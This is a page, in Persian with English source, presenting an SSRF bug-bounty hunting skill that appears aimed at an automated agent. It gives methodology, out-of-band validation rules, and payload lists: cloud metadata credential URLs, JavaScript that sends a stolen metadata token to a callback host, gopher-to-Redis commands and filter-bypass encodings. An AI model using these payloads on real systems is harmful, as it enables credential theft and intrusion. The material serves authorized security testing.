hunt-ssrf

skillupstreamکلاس آسیب‌پذیریگزارش: ۳۴۲۷ کیلوبایت۱۱ بخش

اسکیل کلاس آسیب‌پذیری برای SSRF — استخراج‌شده از ۱۵ گزارش عمومی باگ‌بانتی از جمله SSRF متادیتای AWS (هکروان $۲۵k آنالیتیکس PDF، Shopify Exchange $۲۵k، نشت Capital One با ۱۰۶ میلیون رکورد، Dropbox/HelloSign $۴٬۹۱۳).

توضیح انگلیسی اصلی (مرجع)

Hunting skill for ssrf vulnerabilities. Built from 15 public bug bounty reports including AWS metadata SSRF (HackerOne $25k Analytics PDF, Shopify Exchange $25k, Capital One 106M-record breach, Dropbox/HelloSign $4,913), GCP metadata SSRF (Snapchat $4k), Azure IMDS SSRF (Azure DevOps $15k chain, ChatGPT Custom Actions MSRC), DNS rebinding SSRF (Concrete CMS, GitLab UrlBlocker), gopher-protocol-to-Redis-RCE (Yahoo Mail $15k), link-preview SSRF (Reddit Matrix $6k), and headless-browser PDF-generator SSRF chains. Use when hunting SSRF on any target — OOB Collaborator confirmation mandatory for blind cases.

فلوی اجرای گام‌به‌گام

◆
hunt-ssrfشروع اجرا
۱
همه‌ی پارامترهای پذیرنده‌ی URL را در تارگت نقشه کن: فایل‌های JS را برای فراخوانی fetch بگرد، مستندات API را چک کن، دنبال قابلیت‌های file-import، link-preview، webhook، image-proxy و redirect باش.
۲
یک سرور تشخیص خارج‌باند راه بینداز با Burp Collaborator، interactsh یا `https://canarytokens.org` — برای هر تست به دامنه‌ی callback DNS/HTTP یکتا نیاز داری.
۳
اول URL مربوط به callback را به‌عنوان مقدار پارامتر بفرست (چک SSRF نابینا پیش از هر چیز):
۴
endpointهای متادیتای ابری داخلی را تست کن:
۵
localhost و پورت‌های داخلی رایج را تست کن:
۶
SSRF مبتنی بر redirect را بررسی کن — اگر endpoint مقدار URL اولیه را اعتبارسنجی می‌کند ولی redirectهای 30x را دنبال می‌کند، یک سرور redirect میزبانی کن که به آدرس‌های داخلی اشاره کند. گزارش Kubernetes (Report 3) دقیقاً از API serverهای ربوده‌شده‌ای فایر شد که پاسخ 30x برمی‌گرداندند.
۷
contextهای اجرای JavaScript را تست کن (مرورگرهای headless، رندرکننده‌های PDF):
۸
شبکه‌ی داخلی را با تفاوت timing و تنوع پیام خطا enumerate کن:
۹
یافته‌ها را زنجیره کن — اگر SSRF به سرویس‌های داخلی داری دنبال:
۱۰
زنجیره‌ی کامل را پیش از گزارش مستند کن با اسکرین‌شات هر hop.
۱۱
request را به endpoint هدف بفرست.
۱۲
۳۰–۱۲۰ ثانیه صبر کن، بعد listener مربوط به OOB را poll کن.
۱۳
فقط بعد از callback تأییدشده ادعای SSRF کن.
۱۴
اگر در همه‌ی sinkهای ساب‌تگ‌شده صفر callback بود: ادعای SSRF باید پس گرفته شود، حتی اگر پیام‌های خطا URL را echo کنند.
✓
پایان — اعتبارسنجی و گزارش

ترتیب مرحله‌ای استخراج‌شده از بخش‌های متدولوژی/اعتبارسنجی — ۱۴ گام؛ گام‌های شرطی با «؟ تصمیم» مشخص شده‌اند.

نقشه‌ی ساختار اسکیل

hunt-ssrfکلاس آسیب‌پذیری · ۱۱ بخش۱اهداف ارزشمند۲دروازه‌ی اعتبارسنجی۳سطح حمله و سیگنال‌ها۴مراحل شکار۵Payload و الگوهای تشخیص۶علل ریشه‌ای۷تکنیک‌های Bypass۸دروازه‌ی اعتبارسنجی۹اهداف ارزشمند۱۰نمونه‌های واقعی و impact۱۱دروازه‌ی اعتبارسنجی
اهداف ارزشمند · ۳دروازه‌ی اعتبارسنجی · ۴سطح حمله و سیگنال‌ها · ۱Payload و الگوهای تشخیص · ۱علل ریشه‌ای · ۱تکنیک‌های Bypass · ۱

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

اهداف ارزشمند

Crown Jewel Targets
ترجمه‌ی کامل ✓بخش ۱ از ۱۱

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

SSRF بیشترین ارزش را دارد وقتی هدف روی زیرساخت ابری (AWS، GCP، Azure) اجرا می‌شود که سرویس‌های متادیتا credential لو می‌دهند، یا وقتی سرور داخل شبکه‌ی داخلی پیچیده‌ای است (کلاسترهای Kubernetes، mesh میکروسرویس‌ها، APIهای داخلی). اهداف اولویت‌دار:

  • محصولات SaaS ابری (متادیتای GCP در 169.254.169.254 یا metadata.google.internal، AWS IMDSv1)
  • پلتفرم‌های Kubernetes/orchestration — API serverهای تجمیعی، metrics-server و endpointهای kubelet عملیات ممتاز کلاستر را لو می‌دهند
  • ابزارهای داخلی توسعه‌دهنده — CI/CD، orchestration مربوط به workflow (Flyte، Argo)، پنل‌های admin که خارجاً در دسترس نیستند
  • قابلیت‌های link preview / fetch کردن URL — APIهای preview سبک Reddit، unfurling سبک Slack، پردازشگرهای رسانه
  • پایپ‌لاین‌های import دیتاست/فایل — هر چیزی که به‌نیابت از کاربر URL ریموت fetch کند
  • نرم‌افزار سازمانی self-hosted (GitHub Enterprise، GitLab) — SSRF غالباً از طریق سرویس‌های داخلی به RCE زنجیره می‌شود

payoutها وقتی بیشترین‌اند که SSRF به این‌ها برسد: credentialهای ابری ← تسخیر حساب، APIهای admin داخلی ← exfil داده، یا زنجیره به RCE.

۲

دروازه‌ی اعتبارسنجی

OOB-Or-It-Didn't-Happen Gate (Read First)
ترجمه‌ی کامل ✓بخش ۲ از ۱۱

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

ادعای SSRF نابینا (blind) به تأیید خارج‌باند (OOB) نیاز دارد. همیشه. بدون استثنا.

OOB یعنی: دامنه‌ی Burp Collaborator، listener مربوط به interactsh-client، canarytoken، یا هر گیرنده‌ی DNS+HTTPای که کنترلش می‌کنی و تأیید می‌کند سرور واقعاً به‌نیابت از تو اتصال شبکه‌ی خروجی برقرار کرده.

چه چیزی تأیید SSRF نیست
  • ‏echo شدن URL تو در پیام خطا توسط سرور. مثال: "The Web application at http://evil.example.com/x could not be found" — این یعنی سرور ورودی تو را در رشته‌ی خطا قالب‌بندی کرده، نه اینکه request خروجی HTTP زده باشد. خطا از قالب‌بندی رشته آمده، نه از شکست شبکه.
  • ‏برگرداندن status code متفاوت برای URL خارجی در برابر localhost. پاسخ‌های خطای متفاوت می‌تواند از validatorهای URL-scheme بیاید، نه از fetch واقعی.
  • ‏تأخیر پاسخ هنگام ارسال URL. تأخیر می‌تواند از تلاش DNS resolution داخل parser بیاید، نه از fetch کامل HTTP.
چه چیزی تأیید SSRF است
  • ‏ظاهرشدن DNS lookup برای ساب‌دامین یکتای Collaborator تو در listener مربوط به OOB.
  • ‏request مربوط به HTTP به endpoint مربوط به Collaborator با IP مبدأ و User-Agent خود سرور.
  • ‏برای SSRF در contextهای اجرای JavaScript (رندرکننده‌های PDF، مرورگرهای headless)، یک fetch از سرور به callback URL تو.
فلو پیش‌فرض
  1. اول payload مربوط به Collaborator را بکار. ساب‌تگ‌کردن (dlsrcurl.<collab>، import.<collab>) فقط وقتی جواب می‌دهد که listener تو واقعاً ساب‌دامین کوئری‌شده را به تو گزارش کند — این را پیش از تکیه بر آن تأیید کن. get_collaborator_interactions در Burp نتایج را بر اساس payload ID کلید می‌زند، نه ساب‌دامین — پس چند ساب‌تگ تولیدشده از یک payload در خروجی از هم تفکیک‌ناپذیرند. در آن حالت، برای هر پارامتر کاندید payload تازه بساز و دقیقاً یک request به ازای هر payload بفرست.
  2. request را به endpoint هدف بفرست.
  3. ۳۰–۱۲۰ ثانیه صبر کن، بعد listener مربوط به OOB را poll کن.
  4. فقط بعد از callback تأییدشده ادعای SSRF کن.
  5. اگر در همه‌ی sinkهای ساب‌تگ‌شده صفر callback بود: ادعای SSRF باید پس گرفته شود، حتی اگر پیام‌های خطا URL را echo کنند.

درس از یک engagement مجاز: /_layouts/15/download.aspx?SourceUrl= در SharePoint با عنوان "The Web application at <attacker-URL> could not be found" خطای ۵۰۰ برگرداند. اسکن اولیه این را SSRF علامت زد (سرور ظاهراً URL را پردازش کرده بود). ۳۸ payload ساب‌تگ‌شده‌ی Collaborator روی ۱۲+ پارامتر پذیرنده‌ی URL صفر تعامل DNS یا HTTP داد. «echo» قالب‌بندی رشته‌ی خطا سمت کلاینت بود؛ سرور هرگز request خروجی HTTP نزده بود. آن مسیر در واقع resolver داخلی SPFile/SPWebApplication در SharePoint است، نه fetcher عمومی URL. گزارش آن به‌عنوان SSRF در triage با N/A برمی‌خورد.

پیش از گزارش، callback را به یک پارامتر نسبت بده

callback ثابت می‌کند سرور request زده. نمی‌گوید کدام پارامتر باعثش شده، و فیکس کاملاً به همان بستگی دارد.

BAD   — four candidate fields, one payload, fired in one batch
        -> callbacks arrive, attribution impossible, retest required

GOOD  — fresh payload per field, one request each, poll between
        url      -> callbacks    <- this is the sink
        apiUrl   -> none
        endpoint -> none
        target   -> none

کنترل منفی را اجرا کن. پارامتری که هیچ callbackای تولید نمی‌کند خودش شاهد است و باید در گزارش بیاید — همچنین باید تشخیص بدهی blind است یا full-read:

  • ‏Blind (فقط callback، بدون body در پاسخ): هنوز با اثبات دسترسی شبکه‌ی خروجی سرور، قابل‌گزارش است.
  • ‏Full-read (body مبدأ در پاسخ برمی‌گردد): شدت به‌طور معنادار بالاتر — endpointهای داخلی دلخواه را مستقیم می‌خوانی.
# one request settles it: fetch something with a known, recognisable body
-d '{"url":"https://example.com/"}'
# {"statusCode":200,"data":"<!doctype html>...<title>Example Domain</title>..."}
#                          ^ body returned = full-read, not blind

همچنین body مربوط به یک هدف شناخته‌شده‌ی داخلی را با یک هدف خارجی diff کن. status متفاوت روی آدرس link-local (مثل 401 از 169.254.169.254 در حالی که بقیه‌ی اهداف 200 می‌دهند) یعنی سرویس متادیتا جواب داده — این رسیدن به آدرس غیرقابل‌مسیریابی اینترنتی را ثابت می‌کند، کاری که یک status code به‌تنهایی نمی‌تواند ثابت کند.

مراحل استخراج‌شده
  1. ۱‏echo شدن URL تو در پیام خطا توسط سرور. مثال: `"The Web application at http://evil.example.com/x could not be found"` — این یعنی سرور ورودی تو را در رشته‌ی خطا قالب‌بندی کرده، نه اینکه request خروجی HTTP زده باشد. خطا از قالب‌بندی رشته آمده، نه از شکست شبکه.
  2. ۲‏برگرداندن status code متفاوت برای URL خارجی در برابر `localhost`. پاسخ‌های خطای متفاوت می‌تواند از validatorهای URL-scheme بیاید، نه از fetch واقعی.
  3. ۳‏تأخیر پاسخ هنگام ارسال URL. تأخیر می‌تواند از تلاش DNS resolution داخل parser بیاید، نه از fetch کامل HTTP.
  4. ۴‏ظاهرشدن DNS lookup برای ساب‌دامین یکتای Collaborator تو در listener مربوط به OOB.
  5. ۵‏request مربوط به HTTP به endpoint مربوط به Collaborator با IP مبدأ و User-Agent خود سرور.
  6. ۶‏برای SSRF در contextهای اجرای JavaScript (رندرکننده‌های PDF، مرورگرهای headless)، یک fetch از سرور به callback URL تو.
  7. ۷request را به endpoint هدف بفرست.
  8. ۸۳۰–۱۲۰ ثانیه صبر کن، بعد listener مربوط به OOB را poll کن.
  9. ۹فقط بعد از callback تأییدشده ادعای SSRF کن.
  10. ۱۰اگر در همه‌ی sinkهای ساب‌تگ‌شده صفر callback بود: ادعای SSRF باید پس گرفته شود، حتی اگر پیام‌های خطا URL را echo کنند.
  11. ۱۱‏Blind (فقط callback، بدون body در پاسخ): هنوز با اثبات دسترسی شبکه‌ی خروجی سرور، قابل‌گزارش است.
  12. ۱۲‏Full-read (body مبدأ در پاسخ برمی‌گردد): شدت به‌طور معنادار بالاتر — endpointهای داخلی دلخواه را مستقیم می‌خوانی.
۳

سطح حمله و سیگنال‌ها

Attack Surface Signals
ترجمه‌ی کامل ✓بخش ۳ از ۱۱

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

الگوهای URL برای شکار
/api/*/preview
/api/*/fetch
/api/*/import
/api/*/webhook
/api/*/proxy
/api/*/render
/api/*/link
/api/*/screenshot
/api/*/export
/api/*/validate
?url=
?uri=
?endpoint=
?redirect=
?src=
?source=
?feed=
?host=
?target=
?dest=
?file=
?path=
?callback=
?image=
?load=
?fetch=
الگوهای JS (در کد سمت کلاینت)
// Look for these in JS bundles
fetch(userInput)
axios.get(params.url)
XMLHttpRequest + variable URL
url: req.body.url
src: params.source
href: query.endpoint
سیگنال‌های هدر پاسخ
X-Forwarded-For headers echoed back
Server: internal-service
Via: 1.1 internal-proxy
X-Cache headers revealing internal hostnames
سیگنال‌های tech stack
  • ‏Kubernetes — هر API تجمیعی رو به عموم، endpointهای metrics
  • ‏GCP — هر سرویس fetchکننده‌ی URL روی Compute Engine/GKE
  • ‏Node.js/Python با کتابخانه‌های fetchکننده‌ی URL (requests، node-fetch، axios)
  • ‏مرورگرهای headless (Puppeteer، PhantomJS) برای اسکرین‌شات/PDF — ارزش بسیار بالا
  • ‏قابلیت‌های import مربوط به XML/DSPL/CSV — بردار SSRF سبک XXE
  • ‏endpointهای ثبت OAuth/webhook

۴

مراحل شکار

Step-by-Step Hunting Methodology
ترجمه‌ی کامل ✓بخش ۴ از ۱۱

روش‌شناسی گام‌به‌گام اجرای تکنیک از شناسایی تا اعتبارسنجی

  1. همه‌ی پارامترهای پذیرنده‌ی URL را در تارگت نقشه کن: فایل‌های JS را برای فراخوانی fetch بگرد، مستندات API را چک کن، دنبال قابلیت‌های file-import، link-preview، webhook، image-proxy و redirect باش.
  1. یک سرور تشخیص خارج‌باند راه بینداز با Burp Collaborator، interactsh یا https://canarytokens.org — برای هر تست به دامنه‌ی callback DNS/HTTP یکتا نیاز داری.
  1. اول URL مربوط به callback را به‌عنوان مقدار پارامتر بفرست (چک SSRF نابینا پیش از هر چیز):
url=https://YOUR.interactsh.com/test

تأیید کن سرور اتصال خروجی برقرار می‌کند. این اجرا را پیش از تلاش روی اهداف داخلی ثابت می‌کند.

  1. endpointهای متادیتای ابری داخلی را تست کن:
  • GCP: http://metadata.google.internal/computeMetadata/v1/
  • AWS: http://169.254.169.254/latest/meta-data/
  • Azure: http://169.254.169.254/metadata/instance
  1. localhost و پورت‌های داخلی رایج را تست کن:
http://localhost/
http://127.0.0.1:8080/
http://127.0.0.1:6443/  (Kubernetes API)
http://127.0.0.1:2379/  (etcd)
http://127.0.0.1:9090/  (Prometheus)
http://127.0.0.1:9200/  (Elasticsearch)
  1. SSRF مبتنی بر redirect را بررسی کن — اگر endpoint مقدار URL اولیه را اعتبارسنجی می‌کند ولی redirectهای 30x را دنبال می‌کند، یک سرور redirect میزبانی کن که به آدرس‌های داخلی اشاره کند. گزارش Kubernetes (Report 3) دقیقاً از API serverهای ربوده‌شده‌ای فایر شد که پاسخ 30x برمی‌گرداندند.
  1. contextهای اجرای JavaScript را تست کن (مرورگرهای headless، رندرکننده‌های PDF):
  • تگ‌های <script> تزریق کن که XMLHttpRequest یا fetch() به سرویس‌های داخلی بزنند
  • exfil با DNS: داده‌ی پاسخ را در ساب‌دامین دامنه‌ی callback انکود کن
  1. شبکه‌ی داخلی را با تفاوت timing و تنوع پیام خطا enumerate کن:
  • اسکن پورت با زمان پاسخ (connection refused در برابر timeout)
  • پیام‌های خطا را برای نشت hostname/IP بررسی کن
  1. یافته‌ها را زنجیره کن — اگر SSRF به سرویس‌های داخلی داری دنبال:
  • endpointهای admin بدون احراز هویت
  • Redis و memcached (قاچاق پروتکل)
  • endpointهای داخلی توکن OAuth
  • الگوی SSRF ← CSRF ← RCE (الگوی GitHub Enterprise)
  1. زنجیره‌ی کامل را پیش از گزارش مستند کن با اسکرین‌شات هر hop.
مراحل استخراج‌شده
  1. ۱همه‌ی پارامترهای پذیرنده‌ی URL را در تارگت نقشه کن: فایل‌های JS را برای فراخوانی fetch بگرد، مستندات API را چک کن، دنبال قابلیت‌های file-import، link-preview، webhook، image-proxy و redirect باش.
  2. ۲یک سرور تشخیص خارج‌باند راه بینداز با Burp Collaborator، interactsh یا `https://canarytokens.org` — برای هر تست به دامنه‌ی callback DNS/HTTP یکتا نیاز داری.
  3. ۳اول URL مربوط به callback را به‌عنوان مقدار پارامتر بفرست (چک SSRF نابینا پیش از هر چیز):
  4. ۴endpointهای متادیتای ابری داخلی را تست کن:
  5. ۵GCP: `http://metadata.google.internal/computeMetadata/v1/`
  6. ۶AWS: `http://169.254.169.254/latest/meta-data/`
  7. ۷Azure: `http://169.254.169.254/metadata/instance`
  8. ۸localhost و پورت‌های داخلی رایج را تست کن:
  9. ۹SSRF مبتنی بر redirect را بررسی کن — اگر endpoint مقدار URL اولیه را اعتبارسنجی می‌کند ولی redirectهای 30x را دنبال می‌کند، یک سرور redirect میزبانی کن که به آدرس‌های داخلی اشاره کند. گزارش Kubernetes (Report 3) دقیقاً از API serverهای ربوده‌شده‌ای فایر شد که پاسخ 30x برمی‌گرداندند.
  10. ۱۰contextهای اجرای JavaScript را تست کن (مرورگرهای headless، رندرکننده‌های PDF):
  11. ۱۱تگ‌های `<script>` تزریق کن که `XMLHttpRequest` یا `fetch()` به سرویس‌های داخلی بزنند
  12. ۱۲exfil با DNS: داده‌ی پاسخ را در ساب‌دامین دامنه‌ی callback انکود کن
  13. ۱۳شبکه‌ی داخلی را با تفاوت timing و تنوع پیام خطا enumerate کن:
  14. ۱۴اسکن پورت با زمان پاسخ (`connection refused` در برابر timeout)
۵

Payload و الگوهای تشخیص

Payload & Detection Patterns
ترجمه‌ی کامل ✓بخش ۵ از ۱۱

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

تشخیص خارج‌باند پایه
# Using interactsh-client
interactsh-client -v

# Test parameter
curl -s "https://target.com/api/preview?url=https://YOUR_ID.oast.pro"

# With common headers that might unlock SSRF
curl -s "https://target.com/api/fetch" \
  -H "Content-Type: application/json" \
  -d '{"url":"https://YOUR_ID.oast.pro"}'
payloadهای متادیتای ابری
# GCP - requires Metadata-Flavor header (test if server adds it automatically)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://169.254.169.254/computeMetadata/v1/project/project-id
http://metadata/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/

# AWS IMDSv1 (no auth required)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data
# AWS ECS task credentials (retrieve from env var AWS_CONTAINER_CREDENTIALS_RELATIVE_URI)
http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}

# Azure - instance metadata and managed identity token
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Requires Metadata: true header for Azure requests

# Kubernetes service account credentials (file:// SSRF)
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
payloadهای localhost/پورت داخلی
# Kubernetes internals
http://127.0.0.1:6443/api/v1/namespaces
http://10.0.0.1:6443/api/v1/secrets
http://127.0.0.1:10250/pods          # kubelet
http://127.0.0.1:2379/v2/keys        # etcd

# Common internal services
http://127.0.0.1:6379/               # Redis (check for inline commands)
http://127.0.0.1:9200/_cat/indices   # Elasticsearch
http://127.0.0.1:5601/               # Kibana
http://127.0.0.1:8500/v1/catalog/services  # Consul
SSRF مبتنی بر redirect (وقتی مسیر مستقیم بلاک است)
# Simple Python redirect server
from http.server import HTTPServer, BaseHTTPRequestHandler

class Redirect(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(301)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), Redirect).serve_forever()
SSRF مبتنی بر JavaScript (contextهای مرورگر headless)
// Exfil via fetch
fetch('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token', {
  headers: {'Metadata-Flavor': 'Google'}
}).then(r=>r.text()).then(d=>{
  fetch('https://YOUR.callback.com/?d='+btoa(d))
})

// DNS exfil for blind contexts
var x = new XMLHttpRequest();
x.open('GET','http://169.254.169.254/latest/meta-data/');
x.send();
x.onload = function(){
  var img = new Image();
  img.src = 'https://'+btoa(x.responseText.substring(0,50))+'.YOUR.callback.com';
}
الگوهای grep برای بازبینی سورس‌کد
# Find URL fetch operations
grep -rE "(fetch|curl|urllib|requests\.get|http\.get|axios\.get)\s*\(" --include="*.py" --include="*.js" --include="*.go"

# Find URL parameters being passed to HTTP clients
grep -rE "(url|uri|endpoint|redirect|src|source)\s*=\s*req\.(query|body|params)" --include="*.js"

# Find redirect following
grep -rE "(follow_redirects|allow_redirects|followRedirects)\s*=\s*[Tt]rue"
کشف پارامتر با ffuf
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -u "https://target.com/api/endpoint?FUZZ=https://YOUR.callback.com" \
  -fs 0 -mc all

۶

علل ریشه‌ای

Common Root Causes
ترجمه‌ی کامل ✓بخش ۶ از ۱۱

ریشه‌های کدنویسی و طراحی که این باگ را می‌سازند — با مقایسه‌ی کد آسیب‌پذیر/امن

  1. «کاربر گفت امن است» — توسعه‌دهندگان به URLهای ارسالی کاربر برای fetch منابع ریموت (link preview، thumbnail، webhook) بدون اعتبارسنجی مقصد اعتماد می‌کنند. قابلیت مشروع است؛ اعتبارسنجی غایب خودِ باگ است.
  1. دورزدن allowlist با redirect — توسعه‌دهندگان URL اولیه را با allowlist اعتبارسنجی می‌کنند ولی HTTP client را طوری تنظیم می‌کنند که redirectها را خودکار دنبال کند. سرور مهاجم روی allowlist به آدرس داخلی redirect می‌کند.
  1. اعتماد به API تجمیعی/پروکسی — معماری سبک Kubernetes که لایه‌ی تجمیع API پاسخ‌های 30x از extension serverهای ثبت‌شده را کورکورانه پراکسی می‌کند. compromise یک extension server به SSRF داخل API هسته می‌دهد.
  1. رندر سمت سرور بدون sandbox — قابلیت‌های مرورگر headless (تولید PDF، اسکرین‌شات link preview) کد JavaScript کنترل‌شده‌ی مهاجم را در context دارای امتیاز شبکه با دسترسی به سرویس‌های متادیتا اجرا می‌کنند.
  1. parserهای XML/DSPL/فایل که موجودیت خارجی fetch می‌کنند — قابلیت‌های import که فایل‌های ساختاریافته (XML، DSPL، CSV با schema ریموت) را parse می‌کنند، URLهای کنترل‌شده‌ی مهاجم را fetch می‌کنند، اغلب بدون هیچ اعتبارسنجی URL.
  1. نشت hostname داخلی از طریق تفاوت پاسخ — سرویس‌ها برای هاست داخلی در برابر خارجی پیام خطا، timing یا اندازه‌ی پاسخ متفاوت برمی‌گردانند و enumerate نابینا را حتی بدون برگشت محتوا ممکن می‌کنند.
  1. هنوز IMDSv1 فعال است — دپلوی‌های ابری که به IMDSv2 مهاجرت نکرده‌اند (AWS) یا هدر Metadata-Flavor را اجباری نکرده‌اند (GCP) دسترسی credential بدون احراز هویت از هر SSRF می‌دهند.
۷

تکنیک‌های Bypass

Bypass Techniques
ترجمه‌ی کامل ✓بخش ۷ از ۱۱

نگاشت دفاع ← دورزدن و payloadهای جایگزین برای کنترل‌های شناخته‌شده

دورزدن blocklist (وقتی `localhost`، `127.0.0.1`، `169.254.x.x` بلاک‌اند)
# IPv6 equivalents
http://[::1]/
http://[::ffff:127.0.0.1]/
http://[::ffff:169.254.169.254]/

# Decimal/octal/hex encoding of IP
http://2130706433/          (127.0.0.1 decimal)
http://0x7f000001/          (127.0.0.1 hex)
http://0177.0.0.1/          (octal)
http://127.1/               (short form)
http://0/                   (resolves to 0.0.0.0)

# DNS rebinding - register a domain that resolves to internal IP after first check
# Use https://lock.cmpxchg8b.com/rebinder.html

# Subdomain pointing to internal IP
http://localtest.me/         (resolves to 127.0.0.1)
http://127.0.0.1.nip.io/
http://customer.attacker.com/ (A record → 192.168.1.1)

# URL parser confusion
http://evil.com@127.0.0.1/
http://127.0.0.1#evil.com
http://127.0.0.1%25@evil.com  (URL encoding)
http://evil.com\.127.0.0.1/   (backslash)

# Protocol confusion
file:///etc/passwd
dict://127.0.0.1:6379/
gopher://127.0.0.1:6379/_FLUSHALL  (Redis via gopher)
sftp://attacker.com:11111/
ldap://127.0.0.1/

# Redirect chain bypass
https://allowlisted-domain.com → HTTP 301 → http://169.254.169.254/

# Case variation / URL encoding
http://Localhost/
http://127.0.0.1%2F@evil.com/
دورزدن encoding در لایه‌ی اپلیکیشن (فیلتر یک چیز می‌بیند، fetcher چیز دیگر)

وقتی endpoint مقدار URL هدف را پیچیده/انکودشده می‌گیرد — بلاب base64 در مسیر، پارامتر دوبار‌انکودشده، مقدار تودرتوی JSON — WAF/allowlist لبه ورودی خام را بازرسی می‌کند در حالی که بک‌اند پیش از fetch آن را رمزگشایی می‌کند. هدف داخلی را طوری انکود کن که فیلتر هرگز 169.254 / localhost را واضح نبیند:

# target URL base64'd into a path segment the app decodes, then fetches
GET /proxy/aHR0cDovLzE2OS4yNTQuMTY5LjI1NC8=/x.js   # = http://169.254.169.254/  (disclosed: reports/1189367)
# double-URL-encode the host so one decode pass survives the filter
url=http%253A%252F%252F169.254.169.254%252F

همیشه تست کن پارامتر پیش از fetch یک‌بار، دوبار یا base64 رمزگشایی می‌شود — تعداد پاس رمزگشایی خودِ باگ است.

دورزدن نرمال‌سازی مسیر / سمی‌کالون (فیلتر لبه در برابر مسیر origin)

لبه‌ای که url= را به هاست‌های داخلی بلاک می‌کند وقتی می‌شود دور زد که origin سگمنت‌های مسیری را که لبه دست‌نخورده گذاشته دوباره نرمال‌سازی کند — ;/، /../ یا سگمنت matrix-param تزریق کن تا لبه آن را بی‌ضرر route کند ولی origin آن را به‌عنوان fetch مربوط به SSRF resolve کند:

GET /;/;/resource/md/get/url?url=http://oast.example/   # edge ignores, origin fetches (disclosed: reports/2035332)

SSRF با خواندن کامل از طریق این سردرگمی مسیر به endpointهای credential ابری می‌رسد که پارامتر مستقیم url= بلاکشان کرده بود.

دورزدن schema/پروتکل
# When only http/https allowed but implementation is loose
http://169.254.169.254:80@evil.com/
//169.254.169.254/
TOCTOU (زمان بررسی در برابر زمان استفاده)
  • ‏اعتبارسنجی URL ← sleep ← redirect به داخلی (race condition با DNS rebinding)
  • ‏دامنه‌ای با TTL صفر ثبت کن و DNS را بین فراخوانی اعتبارسنجی و fetch بچرخان
وقتی پاسخ برنمی‌گردد (SSRF نابینا)
  • ‏از callbackهای فقط-DNS استفاده کن (داده در label ساب‌دامین انکود می‌شود)
  • ‏از تفاوت timing برای اسکن پورت استفاده کن
  • ‏از متدهای متفاوت HTTP (PUT/DELETE) برای تحریک رفتارهای متمایز روی سرویس‌های داخلی استفاده کن
  • ‏با باگ‌های دیگری زنجیره کن که داده‌ی پاسخ را لو می‌دهند (مثل پیام‌های خطا، لاگ)

مراحل استخراج‌شده
  1. ۱‏اعتبارسنجی URL ← sleep ← redirect به داخلی (race condition با DNS rebinding)
  2. ۲‏دامنه‌ای با TTL صفر ثبت کن و DNS را بین فراخوانی اعتبارسنجی و fetch بچرخان
  3. ۳‏از callbackهای فقط-DNS استفاده کن (داده در label ساب‌دامین انکود می‌شود)
  4. ۴‏از تفاوت timing برای اسکن پورت استفاده کن
  5. ۵‏از متدهای متفاوت HTTP (PUT/DELETE) برای تحریک رفتارهای متمایز روی سرویس‌های داخلی استفاده کن
  6. ۶‏با باگ‌های دیگری زنجیره کن که داده‌ی پاسخ را لو می‌دهند (مثل پیام‌های خطا، لاگ)
۸

دروازه‌ی اعتبارسنجی

Gate 0 Validation
ترجمه‌ی کامل ✓بخش ۸ از ۱۱

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

پیش از نوشتن گزارش، هر سه را تأیید کن:

  1. مهاجم همین حالا چه کاری می‌تواند انجام دهد؟
  • ‏آیا می‌توانی پاسخی بگیری که دسترسی شبکه‌ی داخلی را ثابت کند؟ (توکن متادیتا، پاسخ API داخلی، یا callback مربوط به DNS تأییدشده را نشان بده)
  • ‏اگر نابیناست: آیا می‌توانی تفکیک پورت یا callback مربوط به OOB متصل به یک آدرس داخلی مشخص را نشان بدهی؟
  • ‏«سرور request می‌زند» به‌تنهایی کافی نیست — نشان بده request کجا می‌رود و چه چیزی برمی‌گردد.
  1. قربانی چه چیزی از دست می‌دهد؟
  • ‏credentialهای ابری (توکن‌های IAM) ← compromise کامل حساب ابری؟
  • ‏داده‌ی سرویس داخلی (PII کاربر، رازها، کلیدهای API)؟
  • ‏امکان pivot به RCE از طریق سرویس admin داخلی؟
  • ‏اگر پاسخ فقط «سرور URL من را fetch می‌کند» است، شدت پایین است — شعاع انفجار قابل‌دسترس واقعی را کمّی کن.
  1. آیا در ۱۰ دقیقه از صفر قابل‌بازتولید است؟
  • ‏آیا endpoint آسیب‌پذیر هنوز بالاست و پارامتر هنوز موجود است؟
  • ‏آیا سرور callback تو hit را به‌صورت قابل‌اعتماد نشان می‌دهد (نه متناوب)؟
  • ‏آیا نفر دوم می‌تواند بدون دانش قبلی مراحلت را دنبال کند و همان نتیجه را بگیرد؟
  • ‏اگر بازتولید به timing، توکن یا شانس خاص نیاز دارد — ناپایداری را پیش از ارسال حل کن.
مراحل استخراج‌شده
  1. ۱مهاجم همین حالا چه کاری می‌تواند انجام دهد؟
  2. ۲‏آیا می‌توانی پاسخی بگیری که دسترسی شبکه‌ی داخلی را ثابت کند؟ (توکن متادیتا، پاسخ API داخلی، یا callback مربوط به DNS تأییدشده را نشان بده)
  3. ۳‏اگر نابیناست: آیا می‌توانی تفکیک پورت یا callback مربوط به OOB متصل به یک آدرس داخلی مشخص را نشان بدهی؟
